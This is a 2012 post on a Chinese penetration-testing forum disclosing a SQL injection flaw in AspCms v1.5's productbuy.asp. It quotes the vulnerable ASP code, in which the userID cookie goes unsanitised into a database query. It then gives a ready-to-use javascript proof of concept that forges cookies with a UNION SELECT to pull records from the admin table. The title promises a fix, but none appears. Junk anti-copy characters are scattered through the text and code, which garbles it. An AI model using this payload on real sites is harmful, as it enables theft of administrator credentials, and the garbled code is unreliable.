中国网络渗透测试联盟

标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页]

作者: admin    时间: 2012-12-27 08:35
标题: AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了,上来一看发现在删号名单内.....
, ]8 k: v5 ]4 z6 p4 [. m也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
% M, d# E) Q- A8 Q废话不多说,看代码:# y: R0 J- @6 [) M# C
( b* T0 d6 Z$ U5 i: W5 {3 N7 T
<%% a" P5 y6 h4 E# @
4 z7 Z" @) b2 M( E
if action = "buy" then( q1 s8 i) P6 y6 r$ e

/ Q, B( x2 A. ?& J: ^4 y        addOrder()
6 V0 u1 Q% e5 @; j. H! z! q
5 A  z7 ~( Z3 z! J# T% a6 F8 D/ Celse
, F& l" z# T+ l- v4 B7 \
% \* Z3 S( V& e2 W        echoContent()
2 J& b; G' i. z  e1 a* }/ B% D9 o
end if
4 M- z, e+ L& J
+ m! o) u( u. w( D: T" @7 q: F9 [2 ^1 b& C7 q( @9 f* S

7 [% r7 h3 {) e1 C' e……略过
, ^, \5 t$ k5 a/ p. O: A2 T1 V* g* ~! e
5 I4 d3 R8 e/ G  w! E" a

/ J; V2 C$ ^2 A" I# ?9 o# }Sub echoContent()" Q. i4 w! }/ l/ |2 e/ W' k3 O

6 i+ g* |1 r% j        dim id
- S2 q" X( b* p  A& F+ u1 T- K
2 v' P3 l7 A5 G4 ~        id=getForm("id","get")! T  L8 Y) d% ?" M

+ \, l- S0 }$ n& Y        7 ?/ F' A# v# Y6 A* a" d; E; |
6 Y1 @$ J8 V# `" C. u0 I/ w+ a- I
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" " m, g# s4 w; J% T2 S# D+ H

9 E  H2 W5 r5 y6 [        4 f1 t( n9 G" J1 n4 H/ J
# E1 g+ z$ i0 P6 B- T0 {
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template"): u9 R0 u/ d( F. y6 ?6 |- q

0 D- D8 d8 `# ^        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct1 V" g+ q8 N; M+ b6 @- v$ P
* g4 d/ D  C7 [  `: _# ^
        Dim templatePath,tempStr
7 q$ E# |9 K& E- s( P( b; B7 z! s* T4 K3 p
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
4 F! O, d3 |& a+ ]$ \4 ?( O! e5 Q0 J- \  _

/ [. d2 F! e( \  c+ x- t
2 B; n7 n; F: n1 v) S        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")  O9 d- f9 h: [" j

1 p; W& x8 S2 F) [) h- y5 b        selectproduct=rsObj(0)
  S4 Z8 N' v1 Z% j1 r$ e5 H) `  e1 }0 ?. {+ @
        
( U3 c, g: g0 h- M! Y* i+ X; Q
. D+ m& k& U* m# W: s1 F# @) F        Dim linkman,gender,phone,mobile,email,qq,address,postcode
/ g. Y9 X: A7 G7 h, V5 V: S! L" ~2 {+ j  w6 T. }( c5 ^
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0% P5 Q% S3 {0 j  V

9 e9 T2 }4 y. k5 y        if rCookie("loginstatus")=1 then  
4 f) _7 e; \, @' t2 u% f
; i. b) |) \2 J2 e) y# s- W+ o& F) {                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")* M5 A6 w2 c& G; t1 X
: z3 D. J( t5 t* \- e! s$ w# a2 c
                linkman=rsObj("truename")+ n3 @7 S- p( l4 p+ R' P

9 q8 G% P# @# u  J' R                gender=rsObj("gender")
4 v- E( G6 Q0 J& c2 ]$ ?. u! N
9 z% i3 v) H. \; Q2 R                phone=rsObj("phone"). m% l8 I& @' U. q: Q' ?8 M7 y5 Y
' y; j/ S1 H4 r. Y4 n! o9 I% W
                mobile=rsObj("mobile")6 S7 Y5 @1 M  f

) o2 _4 B# l6 N3 f6 V                email=rsObj("email"); n2 h* C2 i; m6 P
$ `' M' ^) k1 _
                qq=rsObj("qq")
: B7 Y! }2 F. v
7 G, S: z8 R# `/ b                address=rsObj("address")2 a. D8 S' t) m: W1 E
2 o- V% |( T& R
                postcode=rsObj("postcode")2 f5 m, P$ v, J" o1 Q6 v9 b

3 N5 R$ M8 l/ n' f2 K5 J        else 7 c- ?6 `  m4 b% |
& y2 p2 R3 m1 T+ S) _. N
                gender=1; W# e! Q/ Z4 c
; c$ B4 {8 y9 g
        end if
5 J; }2 p0 j9 G: u/ Y  ~
. }: O2 o0 |0 @- C* X' c+ m" F        rsObj.close()
3 u& M3 u" c4 J" H( o1 u
9 s' q# |; J" t+ X5 Q5 Y                - n$ I& t0 v0 w- F; Q* ^
' }% g5 q2 P5 X0 V+ I+ ?) M
        with templateObj
* M/ c( p6 {( ]  L+ z1 V# x2 p3 X! H% r
3 _% B  S- \6 ~5 d, N                .content=loadFile(templatePath)        ) n) u' e4 |1 H  V' B
. j& D2 e" p$ Z5 R0 _7 h8 F" j( J
                .parseHtml()
% r5 M, t  q' q3 `
; n# x4 m' Y* g+ T2 m3 M+ N                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)( l/ V2 a; l* ?1 f: r1 N

4 o% B' B' A% K4 E7 G                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
, d! d8 w2 M/ E( b4 |& z7 N1 I. b* }+ z8 _* Q( N- _: f1 V2 _1 Q
                .content=replaceStr(.content,"[aspcms:gender]",gender)                6 ?& S" w' Y) R( p  [
4 G  c# _" S3 ^) K
                .content=replaceStr(.content,"[aspcms:phone]",phone)                . y& ~( H* q6 ^' {3 W/ H/ t

- ^: f5 P$ }. c- c- `$ }  h8 y( _                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
3 U. M1 z4 X# v( \
. R  w* v% u7 h/ P( \8 {* b                .content=replaceStr(.content,"[aspcms:email]",email)                        
$ X' t$ z+ @; N" Z1 A* R' k1 n6 U0 o8 V" q
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        $ u# U$ w5 O: W
7 \4 I8 b2 ]9 h& c0 D) ]
                .content=replaceStr(.content,"[aspcms:address]",address)                        & p" Y! w0 A5 r3 `' X

- {7 D7 R6 ]: S  g( i                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        8 Z  ~$ U2 e5 @& U/ W5 o
0 }) b& o7 Z0 B2 j
                .parseCommon()                 & N( t8 E4 h$ x; P, H7 L
8 B7 _+ p4 `: u/ b/ M. \
                echo .content 8 G* I4 r3 e9 s  V! }% }

- b" G: ^) r; t5 g- T        end with/ a7 A1 C9 K4 g$ y3 b
0 G" l5 S; s  T8 I" j
        set templateobj =nothing : terminateAllObjects
1 A2 G- @9 b; _8 n0 f/ @/ o
) G- W! q; ~  d/ w% V$ ^9 F* H8 u# `) XEnd Sub7 w& _! y# U3 k: J6 w0 f& }# ^
漏洞很明显,没啥好说的3 C) }& f3 a+ Q. a+ ?
poc:
5 G1 C# v7 P/ [! e, |- D8 X/ R5 w" a& y; ^5 r1 D6 ?8 Y
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
3 k, J' ]; \7 _5 U* A  Z1 N; G' q$ h/ D( d$ p* f/ E3 v





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2